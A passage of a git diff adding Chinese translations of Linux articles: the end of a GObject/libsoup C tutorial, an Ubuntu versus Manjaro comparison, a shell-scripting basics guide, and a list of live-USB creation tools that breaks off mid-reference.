+``` + +首先,你需要给变量 `my_callback` 赋值: + +``` +void my_callback_func(gpointer data) +{ +  //do something +} + +my_callback = my_callback_func; +``` + +函数指针 `my_callback` 可以这样来调用: + +``` +gpointer data; +data = g_malloc(512 * sizeof(gint16)); +my_callback(data); +``` + +### 对象类 + +`GObject` 基类由 2 个结构(`GObject` 和 `GObjectClass`)组成,你可以继承它们以实现你自己的对象。 + +你需要在结构体中先嵌入 `GObject` 和 `GObjectClass`: + +``` +struct _MyObject +{ +  GObject gobject; +  //your fields +}; + +struct _MyObjectClass +{ +  GObjectClass gobject; +  //your class methods +}; + +GType my_object_get_type(void); +``` + +对象的实现包含了公有成员。GObject 也提供了私有成员的方法。这实际上是 C 源文件中的一个结构,而不是在头文件。该类通常只包含函数指针。 + +一个接口不能派生自另一个接口,比如: + +``` +struct _MyInterface +{ +  GInterface ginterface; +  //your interface methods +}; +``` + +通过调用 `g_object_get()` 和 `g_object_set()` 函数来访问属性。若要获取属性,你必须提供特定类型的返回位置。建议先初始化返回位置: + +``` +gchar *str + +str = NULL; + +g_object_get(gobject, +  "my-name", &str, +  NULL); +``` + +或者你想要设置属性: + +``` +g_object_set(gobject, +  "my-name", "Anderson", +  NULL); +``` + +### libsoup HTTP 库 + +`libsoup` 项目为 GNOME 提供了 HTTP 客服端和服务端使用的库。它使用 GObjects 和 glib 主循环与集成到 GNOME 应用,并且还具有用于命令行的同步 API。 + +首先,创建一个特定身份验证回调的 `libsoup` 会话。你也可以使用 cookie。 + +``` +SoupSession *soup_session; +SoupCookieJar *jar; + +soup_session = soup_session_new_with_options(SOUP_SESSION_ADD_FEATURE_BY_TYPE, SOUP_TYPE_AUTH_BASIC, +  SOUP_SESSION_ADD_FEATURE_BY_TYPE, SOUP_TYPE_AUTH_DIGEST, +  NULL); + +jar = soup_cookie_jar_text_new("cookies.txt", +  FALSE);     + +soup_session_add_feature(soup_session, jar); +g_signal_connect(soup_session, "authenticate", +  G_CALLBACK(my_authenticate_callback), NULL); +``` + +然后你可以像这样创建一个 HTTP GET 请求: + +``` +SoupMessage *msg; +SoupMessageHeaders *response_headers; +SoupMessageBody *response_body; +guint status; +GError *error; + +msg = soup_form_request_new("GET", +  "http://127.0.0.1:8080/my-xmlrpc", +  NULL); + +status = soup_session_send_message(soup_session, +  msg); + +response_headers = NULL; +response_body = NULL; + +g_object_get(msg, +  "response-headers", &response_headers, +  "response-body", &response_body, +  NULL); + +g_message("status %d", status); +cookie = NULL; +soup_message_headers_iter_init(&iter, +response_headers); + +while(soup_message_headers_iter_next(&iter, &name, &value)){     +  g_message("%s: %s", name, value); +} + +g_message("%s", response_body->data); +if(status == 200){ +  cookie = soup_cookies_from_response(msg); +  while(cookie != NULL){ +    char *cookie_name; +    cookie_name = soup_cookie_get_name(cookie->data); +    //parse cookies +    cookie = cookie->next; +  } +} +``` + +当网络服务器进行身份认证时,会调用身份认证回调函数。 + +这是一个函数签名: + +``` +#define MY_AUTHENTICATE_LOGIN "my-username" +#define MY_AUTHENTICATE_PASSWORD "my-password" + +void my_authenticate_callback(SoupSession *session, +  SoupMessage *msg, +  SoupAuth *auth, +  gboolean retrying, +  gpointer user_data) +{ +  g_message("authenticate: ****"); +  soup_auth_authenticate(auth, +                         MY_AUTHENTICATE_LOGIN, +                         MY_AUTHENTICATE_PASSWORD); +} +``` + +### 一个 libsoup 服务器 + +想要基础的 HTTP 身份认证能够运行,你需要指定回调函数和服务器上下文路径。然后再添加一个带有另一个回调的处理程序。 + +下面这个例子展示了在 8080 端口监听任何 IPv4 地址的消息: + +``` +SoupServer *soup_server; +SoupAuthDomain *auth_domain; +GSocket *ip4_socket; +GSocketAddress *ip4_address; +MyObject *my_object; +GError *error; + +soup_server = soup_server_new(NULL); +auth_domain = soup_auth_domain_basic_new(SOUP_AUTH_DOMAIN_REALM, "my-realm", +  SOUP_AUTH_DOMAIN_BASIC_AUTH_CALLBACK, my_xmlrpc_server_auth_callback, +  SOUP_AUTH_DOMAIN_BASIC_AUTH_DATA, my_object, +  SOUP_AUTH_DOMAIN_ADD_PATH, "my-xmlrpc", +  NULL); + +soup_server_add_auth_domain(soup_server, auth_domain); +soup_server_add_handler(soup_server, +  "my-xmlrpc", +  my_xmlrpc_server_callback, +  my_object, +  NULL); + +ip4_socket = g_socket_new(G_SOCKET_FAMILY_IPV4, +  G_SOCKET_TYPE_STREAM, +  G_SOCKET_PROTOCOL_TCP, +  &error); + +ip4_address = g_inet_socket_address_new(g_inet_address_new_any(G_SOCKET_FAMILY_IPV4), +  8080); +error = NULL; +g_socket_bind(ip4_socket, +  ip4_address, +  TRUE, +  &error); +error = NULL; +g_socket_listen(ip4_socket, &error); + +error = NULL; +soup_server_listen_socket(soup_server, +  ip4_socket, 0, &error); +``` + +示例代码中,有两个回调函数。一个处理身份认证,另一个处理对它的请求。 + +假设你想要网页服务器允许用户名为 `my-username` 和口令为 `my-password` 的凭证登录,并且用一个随机且唯一的用户 ID 字符串设置会话 cookie。 + +``` +gboolean my_xmlrpc_server_auth_callback(SoupAuthDomain *domain, +  SoupMessage *msg, +  const char *username, +  const char *password, +  MyObject *my_object) +{ +  if(username == NULL || password == NULL){ +    return(FALSE); +  } + +  if(!strcmp(username, "my-username") && +     !strcmp(password, "my-password")){ +    SoupCookie *session_cookie; +    GSList *cookie; +    gchar *security_token; +    cookie = NULL; + +    security_token = g_uuid_string_random(); +    session_cookie = soup_cookie_new("my-srv-security-token", +      security_token, +      "localhost", +      "my-xmlrpc", +      -1); + +     cookie = g_slist_prepend(cookie, +       session_cookie);   +     soup_cookies_to_request(cookie, +       msg); +    return(TRUE); +  } +  return(FALSE); +} +``` + +对上下文路径 `my-xmlrpc` 进行处理的函数: + +``` +void my_xmlrpc_server_callback(SoupServer *soup_server, +  SoupMessage *msg, +  const char *path, +  GHashTable *query, +  SoupClientContext *client, +  MyObject *my_object) +{ +  GSList *cookie; +  cookie = soup_cookies_from_request(msg); +  //check cookies +} +``` + +### 更加强大的 C 语言 + +希望我的示例展现了 GObject 和 libsoup 项目给 C 语言带来了真正的提升。像这样在字面意义上扩展 C 语言,可以使 C 语言更易于使用。它们已经为你做了许多工作,这样你可以专注于用 C 语言开发简单、直接的应用程序了。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/5/libsoup-gobject-c + +作者:[Joël Krähemann][a] +选题:[lkxed][b] +译者:[Donkey-Hao](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/joel2001k +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/computer_code_programming_laptop.jpg +[2]: https://docs.gtk.org/gobject/concepts.html diff --git a/published/202209/20220520 Ubuntu vs Manjaro- Comparing the Different Linux Experiences.md b/published/202209/20220520 Ubuntu vs Manjaro- Comparing the Different Linux Experiences.md new file mode 100644 index 0000000000..e4cdca4cee --- /dev/null +++ b/published/202209/20220520 Ubuntu vs Manjaro- Comparing the Different Linux Experiences.md @@ -0,0 +1,209 @@ +[#]: subject: "Ubuntu vs Manjaro: Comparing the Different Linux Experiences" +[#]: via: "https://itsfoss.com/ubuntu-vs-manjaro/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "Return7g" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15006-1.html" + +Ubuntu 和 Manjaro:比较两种不同的 Linux 发行版体验 +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/06/215515o89v2xu8v05rv759.jpg) + +Ubuntu 是基于 Debian 最流行的桌面和服务器 Linux 发行版。 + +Manjaro 是基于 Arch 量身定制的 Linux 发行版。 + +两者在用户体验以及功能上都大相径庭。 + +然而,将 Manjaro 的 GNOME 版和 Ubuntu 放到一起比较时,其中一个共同点是 [桌面环境][1]。 + +但它们到底有什么不同?Manjaro 的包管理器会更好用吗?Ubuntu 和 Manjaro 上的软件生态怎么样? + +接下来,我们来看看两个 Linux 发行版在某些关键问题上的差异。 + +### 发行周期 + +Ubuntu 根据你选择的版本不同提供了两个发行周期。如果你选择的是长期支持版本Long Term Support(LTS),那么你在至少未来五年内都会收到安全维护更新。 + +假如你安装了 Ubuntu 22.04 ,那么你在 **2027 年 4 月** 之前都能获取更新。 + +![ubuntu22 04 lts about][2] + +因此,我们更推荐普通桌面用户使用 LTS 版本。 + +如果你想要更新更好的体验,你可以选择每**九个月**更新一次的非 LTS 版本。例如 Ubuntu 21.04、 Ubuntu 21.10、Ubuntu 22.10。 + +需要注意的是,非 LTS 版本涉及的更改可能会影响你的工作流程以及用户体验。因此并不推荐所有人都去使用非 LTS 版本。 + +选择 Manjaro Linux 时你将会获得滚动发布的更新,因此你不必担心对你使用版本的支持过期。它会通过定期更新升级到最新的可用版本。 + +![manjaro about][3] + +由于滚动发行周期的原因,你可以快速获取到最新的软件包。因此如果你想使用某个软件的历史版本,Manjaro 或许并不适合你。 + +### 桌面环境 + +Ubuntu 特别提供了一个定制版的 GNOME 桌面。它可能不是最新的,但如果你使用较新的 Ubuntu 版本,它基本上包含的就是最新的 GNOME 桌面环境。 + +![ubuntu 22 04 wallpaper][4] + +Canonical(Ubuntu 背后的公司)并不提供其它桌面环境。 + +但如果你想在 Ubuntu 上使用其它桌面环境,你可以选择包含了 KDE、Budgie、LXQt、MATE 以及 XFCE 等桌面环境的 Ubuntu 官方 [风味版][5]Flavour。与提供了其他桌面环境的非官方版或更新的特色版Spin的 Ubuntu 相比,它们是经过良好测试且稳定的 Ubuntu Linux 发行版。 + +但是这些 Ubuntu 风味版没有五年的软件支持;相反,你只能受限地得到对 LTS 版本的三年支持。 + +如果使用 Manjaro,你可以选择官方提供的三个版本:XFCE、KDE 和 GNOME。 无论桌面环境如何,你都会使用滚动发布模式。 + +![manjaro gnome 42][6] + +当然你也可以使用 Manjaro 的一些社区版本,如 Budgie、MATE、LXQt。 + +### 包管理器以及软件生态 + +在上述这两类发行版中,找到大多数必要的 Linux 应用是没问题的。 + +不过,Manjaro Linux 使用 Pamac 作为其包管理器而获得了更快速的体验。 + +![manjaro package manager][8] + +与 Ubuntu 上的应用商店相比,Manjaro Linux 在快速安装/更新软件方面提供了更好的体验。而且,它还支持开箱即用的 Flatpak/Snap,如果你只需一键即可启用它们。 + +Ubuntu 比较重视 Snap 软件包,你会发现一些应用程序预装为 Snap 软件包(如 Firefox 浏览器)。 + +![firefox as snap][9] + +对于 Manjaro Linux 来说,你可以根据自身需求决定是否启用 Flatpak/Snap。 + +在使用 Ubuntu 时,其应用商店提供的 Linux 应用并不是最好的。取决于你的系统配置和使用年限,它会变得越来越慢。 + +![ubuntu 22 04 software center][10] + +除此之外,Manjaro Linux 还可以访问 [AUR][11],它可以获得你在 Ubuntu 应用商店中可能找不到的几乎所有软件。 + +因此,就软件生态系统和包管理器而言,Manjaro Linux 的确要比 Ubuntu 有更多的优势。 + +### 易用性和目标用户 + +Ubuntu 桌面主要是为了易于使用而量身定制的。它专注于提供最佳的软件和硬件兼容性组合,让所有计算机用户都可以使用 Ubuntu Linux,而无需了解 Linux 世界中的大部分内容。 + +即使有人不知道 Linux 上的“包管理器”是什么,在他们使用它时也可以完全把它作为 Windows/macOS 的完美替代品。 + +当然,我们也有一个指南来帮助你 [安装最新的 Ubuntu 后要做的事情][12]。 + +Manjaro Linux 也是为桌面用户使用量身定制的。但是它并不适合首次使用 Linux 的用户使用。 + +它旨在简化 Arch Linux 的操作。因此主要面向想要使用 Arch Linux 的 Linux 用户,但是增加了一些便利性。 + +### 稳定性 + +![stability tux][13] + +Ubuntu LTS 版本主要关注稳定性和可靠性,因此你也可以在服务器上部署它们。 + +相比之下,Manjaro Linux 可能没有提供现成的的稳定性。你在 Manjaro Linux 中安装软件包时需要更加仔细,同时密切注意你的配置,以确保更新不会破坏你的系统。 + +对于 Ubuntu 用户来说则无需担心软件更新,尤其是在考虑 LTS 版本时,更新通常不会破坏你的系统。 + +### 个性化 + +Ubuntu 特别提供了一个由 Canonical 为最终用户设置的定制 GNOME 桌面。虽然你可以自由定制你的 Linux 发行版的各个方面,但 Ubuntu 开箱即用提供定制很少。 + +Ubuntu 多年来一直在改进,最近增加了 [在 Ubuntu 22.04 LTS 中添加强调色][14] 的能力。 但是它仍然还有很长的路要走。 + +如果你想获得个性化的桌面体验,你只能借助 [GNOME Tweak][15] 等软件来实现。 + +对比 Manjaro GNOME,你也只能使用相同的工具来自定义桌面。 + +Manjaro 还对外观进行了一些自定义调整。但是它提供了更多组件来更改布局和其他一些选项。 + +![manjaro layout][16] + +在个性定制方面,你在 Manjaro 和 Ubuntu 上的体验大致相同。 + +如果你想要更多自定义选项,Manjaro Linux 可能是一个不错的选择。但是如果你只想要个性化体验而不需要太多的改变,Ubuntu 应该就足够了。 + +### 臃肿的软件 + +这对每个人来说可能都不是什么大问题。但如果你不喜欢预装许多应用程序,那么 Ubuntu 可能会令你感到麻烦。 + +![ubuntu 22 apps][17] + +虽然可以随时删除不需要的应用程序。但是你会发现随 Ubuntu 一起安装的软件和服务还有很多。 + +使用 Manjaro 时,你在安装时只需要安装最基础的内容即可。它们坚持使用最基础的实用程序,最大限度地减少预装的软件包数量。因此,Manjaro 很少会和软件臃肿联系到一起。 + +但是你在默认安装的 Manjaro 上可能找不到你最喜欢的 Linux 软件。因此,如果你想在安装后立即使用一些你喜欢的软件,Ubuntu 可能是一个不错的选择。 + +### 性能 + +![ubuntu 22 04 neofetch lolcat][18] + +虽然 Ubuntu 改进了其系统表现,甚至可以在 2 GB 内存的树莓派上运行,但它仍然不是性能最好的 Linux 发行版。 + +当然,性能确实取决于你选择使用的桌面环境。 + +但是与 Manjaro 的 GNOME 版本相比,Manjaro 提供了更快捷的体验。 + +需要注意的是,性能和动画首选项的用户体验还取决于你的系统配置。例如,Manjaro 的推荐系统要求(1GB 内存和 1GHz 处理器)给了你使用旧电脑的机会。 + +但是,对于 Ubuntu,在撰写本文时,你至少需要 4GB 内存 和 2GHz 双核处理器,才能获得理想的桌面体验。 + +### 文档 + +考虑到 Ubuntu 的受欢迎程度,Ubuntu 更易于使用,并且对新用户来说可能更舒适。 + +[Ubuntu 的文档][19] 即使不是最好也足够好了。 + +谈到 Manjaro Linux,他们有一个 [维基][20],其中包含基础信息和深入的指南来帮助你入门。 + +总的来说,[Arch Linux 的文档][21] 非常细致,几乎每个人(甚至是老手)都会参考它来寻求帮助。 + +Arch Linux 的文档在很大程度上也适用于 Manjaro Linux,因此在文档方面,使用 Manjaro Linux 比 Ubuntu 更有优势。 + +### 结束语 + +作为两个完全不同的 Linux 发行版,它们服务于各种类型的用户。你可以选择你感兴趣的任意一个并尝试去使用它来判断它是否适合你。 + +但是,如果你想避免对系统进行任何更改,并专注于你的工作,那么 Ubuntu 应该是一个明智的选择。 + +而如果 Ubuntu 的性能对你的体验有相当大的影响,你应该去尝试 Manjaro。 你可以阅读我的 [关于从 Ubuntu 切换到 Manjaro 的初步想法][22]。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/ubuntu-vs-manjaro/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[Return7g](https://github.com/Return7g) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/what-is-desktop-environment/ +[2]: https://itsfoss.com/wp-content/uploads/2022/05/ubuntu22-04-lts-about.png +[3]: https://itsfoss.com/wp-content/uploads/2022/05/manjaro-about.png +[4]: https://itsfoss.com/wp-content/uploads/2022/04/ubuntu-22-04-wallpaper.jpg +[5]: https://itsfoss.com/which-ubuntu-install/ +[6]: https://itsfoss.com/wp-content/uploads/2022/05/manjaro-gnome-42.png +[7]: https://itsfoss.com/essential-linux-applications/ +[8]: https://itsfoss.com/wp-content/uploads/2022/05/manjaro-package-manager.png +[9]: https://itsfoss.com/wp-content/uploads/2022/04/firefox-as-snap.jpg +[10]: https://itsfoss.com/wp-content/uploads/2022/04/ubuntu-22-04-software-center.jpg +[11]: https://itsfoss.com/aur-arch-linux/ +[12]: https://itsfoss.com/things-to-do-after-installing-ubuntu-22-04/ +[13]: https://itsfoss.com/wp-content/uploads/2022/05/stability-tux.png +[14]: https://itsfoss.com/accent-color-ubuntu/ +[15]: https://itsfoss.com/gnome-tweak-tool/ +[16]: https://itsfoss.com/wp-content/uploads/2022/05/manjaro-layout.png +[17]: https://itsfoss.com/wp-content/uploads/2022/05/ubuntu-22-apps.jpg +[18]: https://itsfoss.com/wp-content/uploads/2022/04/ubuntu-22-04-neofetch-lolcat-800x445.png +[19]: https://help.ubuntu.com/ +[20]: https://wiki.manjaro.org/index.php/Main_Page +[21]: https://wiki.archlinux.org/ +[22]: https://news.itsfoss.com/manjaro-linux-experience/ diff --git a/published/202209/20220524 The Basic Concepts of Shell Scripting.md b/published/202209/20220524 The Basic Concepts of Shell Scripting.md new file mode 100644 index 0000000000..f6c93dc465 --- /dev/null +++ b/published/202209/20220524 The Basic Concepts of Shell Scripting.md @@ -0,0 +1,182 @@ +[#]: subject: "The Basic Concepts of Shell Scripting" +[#]: via: "https://www.opensourceforu.com/2022/05/the-basic-concepts-of-shell-scripting/" +[#]: author: "Sathyanarayanan Thangavelu https://www.opensourceforu.com/author/sathyanarayanan-thangavelu/" +[#]: collector: "lkxed" +[#]: translator: "FYJNEVERFOLLOWS" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15012-1.html" + +一些 Shell 脚本的基本概念 +====== + +> 如果你希望自动执行常规任务并使你的生活更轻松,那么使用 Shell 脚本是一个很好的选择。本文将向你介绍一些基本概念,这些概念将帮助你编写高效的 Shell 脚本。 + +![Shell-scripting][1] + +Shell 脚本是一种被设计用来运行命令行解释器 UNIX Shell 的计算机程序。Shell 脚本的各类变种被视作脚本语言。Shell 脚本执行的典型操作包括文件操作、程序执行和文本打印。设置环境、运行程序并执行任何必要的清理或日志记录的脚本称为封装。 + +### 识别 Shell 命令提示符 + +你可以通过查看终端窗口中的提示符符号来识别 Linux 系统的计算机上的 Shell 命令提示符的用户是普通用户还是超级用户。`#` 符号用于超级用户,`$` 符号用于具有标准权限的用户。 + +### 基本命令 + +脚本附带了很多可以在终端窗口上执行的、用以管理您的计算机的命令。每个命令的详细信息可以在该命令附带的使用手册中找到。你可以使用如下命令来查看手册: + +``` +man +``` + +一些常用的命令有: + +``` +date # 显示当前日期和时间 +cal # 显示当前月份日历 +df # 显示磁盘使用情况 +free # 显示内存使用情况 +ls # 列出文件和目录 +mkdir # 创建目录 +``` + +每个命令都附带了几个可以一起使用的选项。你可以参考使用手册以了解更多的细节。`man date` 的输出如图 1 所示。 + +![Figure 1: Manual of date command][2] + +### 重定向操作符 + +当你希望捕获文件中的命令输出或重定向到文件时,可以使用重定向操作符。 + +| 命令 | 描述 | +| :- | :- | +| `ls -l /usr/bin >file` | 默认标准输出到文件 | +| `ls -l /usr/bin 2>file` | 重定向标准错误到文件 | +| `ls -l /usr/bin > ls-output 2>&1` | 重定向标准错误和标准输出到文件 | +| `ls -l /usr/bin &> ls-output` | 重定向标准错误和标准输出到文件 | +| `ls -l /usr/bin 2> /dev/null` | 写入 `/dev/null`,丢弃输出 | + +### 大括号扩展 + +大括号扩展是 UNIX 提供的强大选项之一。它有助于在一行指令中使用最少的命令完成大量操作。例如: + +``` +$echo Front-{A,B,C}-Back +Front-A-Back, Front-B-Back, Front-C-Back +``` + +``` +$echo {Z..A} +Z Y X W V U T S R Q P O N M L K J I H G F E D C B A +``` + +``` +$mkdir {2009..2011}-0{1..9} {2009..2011}-{10..12} +``` + +这条命令会为 2009 到 2011 年里的每个月建立一个目录。 + +### 环境变量 + +环境变量是一个动态命名的值,它可以影响计算机上运行的进程的行为方式。此变量是进程运行环境的一部分。 + +| 命令 | 描述 | +| :- | :- | +| `printenv` | 打印出所有环境变量的值。 | +| `set` | 设置 Shell 选项 | +| `export` | 导出环境到随后执行的程序 | +| `alias` | 为命令创建别名 | + +### 网络命令 + +网络命令对于排查网络问题和检查连接到客户机的特定端口非常有用。 + +| 命令 | 描述 | +| :- | :- | +| `ping` | 发送 ICMP(网际网路控制讯息协定)数据包 | +| `traceroute` | 打印数据包在网络中的路径 | +| `netstat` | 打印网络连接信息、路由表、接口数据 | +| `ftp`/`lftp` | 互联网文件传输程序 | +| `wget` | 非交互式网络下载器 | +| `ssh` | OpenSSH SSH 客户端 (远程登录程序) | +| `scp` | 安全拷贝 | +| `sftp` | 安全文件传输程序 | + +### grep 命令 + +`grep` 命令用于查找系统和日志中的错误。它是 Shell 拥有的强大工具之一。 + +| 命令 | 描述 | +| :- | :- | +| `grep -h '.zip' file.list` | `.` 表示任意字符 | +| `grep -h '^zip' file.list` | 以 `zip` 开头 | +| `grep -h 'zip$' file.list` | 以 `zip` 结尾 | +| `grep -h '^zip$' file.list` | 只含有 `zip` | +| `grep -h '[^bz]zip' file.list` | 不含 `b` 和 `z` | +| `grep -h '^[A-Za-z0-9]' file.list` | 所有文件名有效的文件 | + +### 量词 + +下面是一些量词的例子: + +| 命令 | 描述 | +| :- | :- | +| `?` | 匹配出现 0 次或 1 次的元素 | +| `*` | 匹配出现 0 次或多次的元素 | +| `+` | 匹配出现 1 次或多次的元素 | +| `{}` | 匹配出现特定次数的元素 | + +### 文本处理 + +文本处理是当今 IT 世界中的另一项重要任务。程序员和管理员可以使用这些命令来切片、剪切和处理文本。 + +| 命令 | 描述 | +| :- | :- | +| `cat -A $FILE` | 显示 `$FILE` 文件的所有内容 | +| `sort file1.txt file2.txt file3.txt > final_sorted_list.txt` | 一次性将所有文件排序 | +| `ls - l | sort -nr -k 5` | 按指定的第 5 列进行排序 | +| `sort --key=1,1 --key=2n distor.txt` | 对第 1 列进行排序(默认按字母表顺序),对第 2 列进行数值排序 | +| `sort foo.txt | uniq -c` | 查找重复的行并显示该行重复的次数 | +| `cut -f 3 distro.txt` | 剪切第 3 列 | +| `cut -c 7-10` | 剪切 7 - 10 字符 | +| `cut -d ':' -f 1 /etc/password` | 分隔符 `:` | +| `sort -k 3.7nbr -k 3.1nbr -k 3.4nbr distro.txt` | 按第 3 列第 7 个字符、第 3 列第 1 个字符和第 3 列第 4 个字符排序 | +| `paste file1.txt file2.txt > newfile.txt` | 合并两个文件 | +| `join file1.txt file2.txt` | 按公共字段连接两个文件 | + +### 窍门和技巧 + +在 Linux 中,我们可以通过使用简单的命令或控制选项返回到命令的历史记录。 + +| 命令 | 描述 | +| :- | :- | +| `clear` | 清空屏幕 | +| `history` | 查看保存命令的历史记录 | +| `script filename` | 捕获文件中的所有命令执行 | + +一些历史命令的技巧: + +- `CTRL + R`: 搜索命令历史 +- `!!number`:执行编号为 `number` 的命令 +- `!!` :执行上一条命令 +- `!?string` : 执行包含 `string` 的上一条命令 +- `!string`:执行以 `string` 开始的上一条命令 +- `export HISTCONTROL=ignoredups`: 忽略重复条目 +- `export HISTSIZE=10000`:设置存储的历史行数 + +随着你对 Linux 命令逐渐熟悉,你将能够编写封装脚本。所有手动任务,如定期备份、清理文件、监控系统使用情况等,都可以使用脚本自动完成。在学习高级概念之前,本文将帮助您开始编写脚本。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/05/the-basic-concepts-of-shell-scripting/ + +作者:[Sathyanarayanan Thangavelu][a] +选题:[lkxed][b] +译者:[FYJNEVERFOLLOWS](https://github.com/FYJNEVERFOLLOWS) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/sathyanarayanan-thangavelu/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Shell-scripting.jpg +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-1-Manual-of-date-command.jpg diff --git a/published/202209/20220608 Rufus for Linux- Here Are the Best Live USB Creating Tools.md b/published/202209/20220608 Rufus for Linux- Here Are the Best Live USB Creating Tools.md new file mode 100644 index 0000000000..0821e610e2 --- /dev/null +++ b/published/202209/20220608 Rufus for Linux- Here Are the Best Live USB Creating Tools.md @@ -0,0 +1,140 @@ +[#]: subject: "Rufus for Linux? Here Are the Best Live USB Creating Tools" +[#]: via: "https://itsfoss.com/live-usb-creator-linux/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "alfred-hong" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15052-1.html" + +U 盘启动盘创建工具 Rufus 在 Linux 上不能使用?这里有 6 个替代品 +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/20/232656q7qc9vc9r6hn6bz9.jpg) + +Rufus 一个用来创建启动盘的开源工具。它可以按照你的需求进行调整,用起来很简单。不仅用起来很方便,而且制作启动盘的速度也出奇的快。 + +遗憾的是,Rufus 不能在 Linux 上使用,它只能在 Windows 上使用。因此大多数在 Windows 上使用过 Rufus 的人,都会在 Linux 上寻找替代软件。 + +如果你也是这样,不用着急,我们有一些优秀的替代软件,可以满足不同的使用条件。 + +我们来看看一些关于 Rufus 的替代软件: + +### 6 款最佳的 Linux 启动盘创建工具 + +列出的所有替代软件都是开源的,并且在 Linux 发行版运行很好。 + +**注意:** *下列软件无任何特定排序* + +#### 1、balenaEtcher + +![balena etcher 2022][1] + +balenaEtcher(或 Etcher)对于多平台(Windows、 MacOS)用户是一个很好的选择,也包括 Linux 用户。 + +此软件没有任何高级选项。因此十分容易使用。只需要选择 ISO(镜像文件),然后选中目标 U 盘进行写入即可。 + +它是完全开源的,并在写入完成后检验你的 U 盘。此外,它还自动选择你插入的 U 盘,以避免你不小心选择了硬盘进行格式化。 + +你可以参考这本 [便捷手册][2] 来在 Linux 上安装它。 + +> **[balenaEtcher][3]** + +#### 2、Fedora Media Writer + +![fedora media writer][4] + +Fedora Media Writer 是专门用来帮助用户创建 Fedora Linux 启动盘的软件。如果你还没有 ISO 文件,它还能为你下载 ISO。 + +当其它的 U 盘启动盘创建软件导致你不能格式化你的 U 盘时,它也是一个优秀的 U 盘启动盘修复程序。 + +不用担心,你也可以选择 Fedora Linux 之外的其他镜像来创建启动盘。 + +你可以在 Flathub 找到任何 Linux 发行版可用的最新的 [Flatpak][5] 软件包。如果你是新手请参考这篇 [Flatpak 指导][6] + +> **[Fedora Media Writer][7]** + +#### 3、Startup Disk Creator + +![startup disk creator][8] + +如果你使用的是 Ubuntu 系统,在系统上已经预装了一个 U 盘启动盘制作软件,即 Startup Disk Creator。 + +你可以用它选择任何需要的 ISO 文件(最好是 Ubuntu 的任何版本),并选择 USB 设备进行下一步。 + +当你确认操作后,它就会写入数据来完成制作启动盘。 + +#### 4、SUSE Studio Imagewriter + +![imagewriter suse][9] + +SUSE Studio Imagewriter 是一个简单的启动盘制作软件。 + +我没有在 Ubuntu 软件中心找到它,但是在 Manjaro 的社区仓库和 AUR 中可以找到。如果它可以适配你的 Linux 发行版,你可以试试它。 + +> **[SUSE Studio Imagewriter][10]** + +#### 5、UNetbootin + +![unetbootin][11] + +UNetbootin 是一个支持 Linux、Windows 和 macOS 的 U 盘启动制作软件。有少量的几个可以调整的选项,比如你可以查看所有可用的驱动器,还可以选择一个发行版来自动下载 ISO 文件。 + +它与上面的软件不同,它并不是指定用在某些 Linux 发行版。因此,它支持各种各种各样的发行版和系统程序。 + +> **[UNetbootin][12]** + +#### 6、Ventoy + +![ventoy screenshot 2022][13] + +Ventoy 是一个有趣的 USB 启动盘解决方案,你只需要复制粘贴镜像文件到 U 盘即可。 + +你仅仅需要在 U 盘上安装 Venoy,它会在其上建立两个分区。其中一个用来存储 ISO 镜像,你只需要将镜像文件粘贴到 U 盘即制作成功。 + +有趣的是你还可以使用它来 [引导多个系统][14]。 + +它可在 Windows 和 Linux 上使用。 + +> **[Ventoy][15]** + +### 总结 + +如果你需要在 U 盘上放多个 Linux 发行版而不是反复格式化它,Ventoy 似乎是上面所有选项中最好的选择。 + +为了简单起见,特定于发行版的工具是个很好的选择,例如:Ubuntu 的 Startup Disk Creator 和 Fedora 的 Fedora Media Writer。 + +SUSE Studio Imagewriter 也不错,但可不能不是最方便的。 + +如果你没有任何特定的偏好,balenaEtcher 应该是最直接的选择,UNetbootin 是它的一个合适的替代软件。 + +你最偏爱哪个 U 盘启动盘创建软件?在下面的评论区中让我了解你的想法。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/live-usb-creator-linux/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[alfred-hong](https://github.com/alfred-hong) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2022/06/balena-etcher-2022-800x537.png +[2]: https://itsfoss.com/install-etcher-linux/ +[3]: https://www.balena.io/etcher/ +[4]: https://itsfoss.com/wp-content/uploads/2022/06/fedora-media-writer.png +[5]: https://itsfoss.com/what-is-flatpak/ +[6]: https://itsfoss.com/flatpak-guide/ +[7]: https://flathub.org/apps/details/org.fedoraproject.MediaWriter +[8]: https://itsfoss.com/wp-content/uploads/2022/06/startup-disk-creator.png +[9]: https://itsfoss.com/wp-content/uploads/2022/06/imagewriter-suse.png +[10]: https://software.opensuse.org/package/imagewriter +[11]: 